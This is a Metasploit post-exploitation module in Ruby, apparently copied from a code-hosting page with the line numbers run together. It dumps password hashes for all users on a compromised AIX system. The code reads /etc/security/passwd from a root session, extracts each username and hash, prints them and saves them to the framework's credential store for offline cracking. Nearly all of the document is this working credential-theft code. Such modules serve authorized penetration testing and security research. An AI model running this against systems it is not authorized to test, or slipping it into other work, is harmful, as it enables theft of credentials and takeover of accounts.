Path: blob/master/modules/post/aix/hashdump.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'AIX Gather Dump Password Hashes',14'Description' => %q{Post module to dump the password hashes for all users on an AIX system.},15'License' => MSF_LICENSE,16'Author' => ['theLightCosine'],17'Platform' => [ 'aix' ],18'SessionTypes' => [ 'shell' ],19'Notes' => {20'Stability' => [CRASH_SAFE],21'SideEffects' => [],22'Reliability' => []23}24)25)26end2728def run29fail_with(Failure::NoAccess, 'You must run this module as root!') unless is_root?3031passwd_file = read_file('/etc/security/passwd')3233username = ''34hash = ''3536passwd_file.each_line do |line|37user_line = line.match(/(\w+):/)38if user_line39username = user_line[1]40end4142hash_line = line.match(/password = (\w+)/)43if hash_line44hash = hash_line[1]45end4647next unless hash.present?4849print_good("#{username}:#{hash}")50credential_data = {51jtr_format: 'des',52origin_type: :session,53post_reference_name: refname,54private_type: :nonreplayable_hash,55private_data: hash,56session_id: session_db_id,57username: username,58workspace_id: myworkspace_id59}60create_credential(credential_data)61username = ''62hash = ''63end64end65end666768